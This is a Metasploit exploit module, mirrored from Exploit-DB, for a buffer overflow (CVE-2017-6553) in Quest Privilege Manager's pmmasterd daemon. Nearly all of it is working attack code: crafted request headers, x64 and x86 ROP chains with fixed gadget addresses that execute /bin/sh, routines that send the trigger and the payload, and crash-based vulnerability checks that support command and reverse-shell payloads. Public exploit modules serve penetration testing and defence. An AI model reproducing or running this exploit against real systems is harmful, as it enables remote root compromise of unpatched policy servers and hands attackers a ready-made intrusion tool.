Quest Privilege Manager – pmmasterd Buffer Overflow (Metasploit)

  • 作者: Metasploit
    日期: 2017-05-15
  • 类别:
    平台:
  • 来源:https://www.exploit-db.com/exploits/42010/
  • ##
    # This module requires Metasploit: http://metasploit.com/download
    # Current source: https://github.com/rapid7/metasploit-framework
    ##
    
    class MetasploitModule < Msf::Exploit::Remote
    Rank = NormalRanking
    
    include Exploit::Remote::Tcp
    
    def initialize(info = {})
    super(update_info(info,
    'Name' => 'Quest Privilege Manager pmmasterd Buffer Overflow',
    'Description'=> %q{
    This modules exploits a buffer overflow in the Quest Privilege Manager,
    a software used to integrate Active Directory with Linux and Unix
    systems. The vulnerability exists in the pmmasterd daemon, and can only
    triggered when the host has been configured as a policy server (
    Privilege Manager for Unix or Quest Sudo Plugin). A buffer overflow
    condition exists when handling requests of type ACT_ALERT_EVENT, where
    the size of a memcpy can be controlled by the attacker. This module
    only works against version < 6.0.0-27. Versions up to 6.0.0-50 are also
    vulnerable, but not supported by this module (a stack cookie bypass is
    required). NOTE: To use this module it is required to be able to bind a
    privileged port ( <=1024 ) as the server refuses connections coming
    from unprivileged ports, which in most situations means that root
    privileges are required.
    },
    'Author' =>
    [
    'm0t'
    ],
    'References' =>
    [
    ['CVE', '2017-6553'],
    ['URL', 'https://0xdeadface.wordpress.com/2017/04/07/multiple-vulnerabilities-in-quest-privilege-manager-6-0-0-xx-cve-2017-6553-cve-2017-6554/']
    ],
    'Payload'=>
    {
    'Compat'=>
    {
    'PayloadType' => 'cmd',
    'RequiredCmd' => 'generic python perl ruby openssl bash-tcp'
    }
    },
    'Arch' => ARCH_CMD,
    'Platform' => 'unix',
    'Targets'=>
    [
    ['Quest Privilege Manager pmmasterd 6.0.0-27 x64',
    {
    exploit: :exploit_x64,
    check: :check_x64
    }
    ],
    ['Quest Privilege Manager pmmasterd 6.0.0-27 x86',
    {
    exploit: :exploit_x86,
    check: :check_x86
    }
    ]
    ],
    'Privileged' => true,
    'DisclosureDate' => 'Apr 09 2017',
    'DefaultTarget'=> 0
    )
    )
    
    register_options(
    [
    Opt::RPORT(12345),
    Opt::CPORT(rand(1024))
    ]
    )
    end
    
    # definitely not stealthy! sends a crashing request, if the socket dies, or
    # the output is partial it assumes the target has crashed. Although the
    # daemon spawns a new process for each connection, the segfault will appear
    # on syslog
    def check
    unless respond_to?(target[:check], true)
    fail_with(Failure::NoTarget, "Invalid target specified")
    end
    
    send(target[:check])
    end
    
    def exploit
    unless respond_to?(target[:exploit], true)
    fail_with(Failure::NoTarget, "Invalid target specified")
    end
    
    request = send(target[:exploit])
    
    connect
    print_status("Sending trigger")
    sock.put(request)
    sock.get_once
    print_status("Sending payload")
    sock.put(payload.encoded)
    disconnect
    end
    
    # server should crash after parsing the packet, partial output is returned
    def check_x64
    head = [ 0x26c ].pack("N")
    head << [ 0x700 ].pack("N")
    head << [ 0x700 ].pack("N")
    head << "\x00" * 68
    
    body = "PingE4.6 .0.0.27"
    body << rand_text_alpha(3000)
    
    request = head + body
    
    connect
    print_status("Sending trigger")
    sock.put(request)
    res = sock.timed_read(1024, 1)
    if res.match? "Pong4$"
    return Exploit::CheckCode::Appears
    else
    return Exploit::CheckCode::Unknown
    end
    end
    
    # server should crash while parsing the packet, with no output
    def check_x86
    head = [ 0x26c ].pack("N")
    head << [ 0x700 ].pack("N")
    head << [ 0x700 ].pack("N")
    head << "\x00" * 68
    
    body = rand_text_alpha(3000)
    
    request = head + body
    
    connect
    print_status("Sending trigger")
    sock.put(request)
    begin
    sock.timed_read(1024, 1)
    return Exploit::CheckCode::Unknown
    rescue ::Exception
    return Exploit::CheckCode::Appears
    end
    end
    
    def exploit_x64
    head = [ 0x26c ].pack("N")
    head << [ 0x700 ].pack("N")
    head << [ 0x700 ].pack("N")
    head << "\x00" * 68
    
    # rop chain for pmmasterd 6.0.0.27 (which is compiled without -fPIE)
    ropchain = [
    0x408f88, # pop rdi, ret
    0x4FA215, # /bin/sh
    0x40a99e, # pop rsi ; ret
    0,# argv@rsi
    0x40c1a0, # pop rax, ret
    0,# envp @rax
    0x48c751, # mov rdx, rax ; pop rbx ; mov rax, rdx ; ret
    0xcacc013,# padding
    0x408a98, # execve,
    0
    ].pack("Q*")
    
    body = "PingE4.6 .0.0.27" # this works if encryption is set to AES, which is default, changing E4 to E2 might make it work with DES
    body << rand_text_alpha(1600)
    body << ropchain
    body << rand_text_alpha(0x700 - body.size)
    
    head + body
    end
    
    def exploit_x86
    head = [ 0x26c ].pack("N")
    head << [ 0x108 ].pack("N")
    head << [ 0xcc ].pack("N")
    head << "\x00" * 68
    
    # rop chain for pmmasterd 6.0.0.27 (which is compiled without -fPIE)
    ropchain = [
    0x8093262,# ret
    0x73, # cs reg
    0x804AE2C,# execve,
    0xcacc013,# padding
    0x8136CF0,# /bin/sh
    0,
    0
    ].pack("V*")
    
    pivotback = 0x08141223# sub esp, ebx ; retf
    writable = 0x81766f8# writable loc
    
    body = "PingE4.6 .0.0.27" # this works if encryption is set to AES, which is default, changing E4 to E2 might make it work with DES
    body << rand_text_alpha(104)
    body << ropchain
    body << rand_text_alpha(0xb4 - body.size)
    body << [0x50].pack("V")
    body << rand_text_alpha(0xc4 - body.size)
    body << [pivotback].pack("V")
    body << [writable].pack("V")
    body << rand_text_alpha(0x108 - body.size)
    
    head + body
    end
    end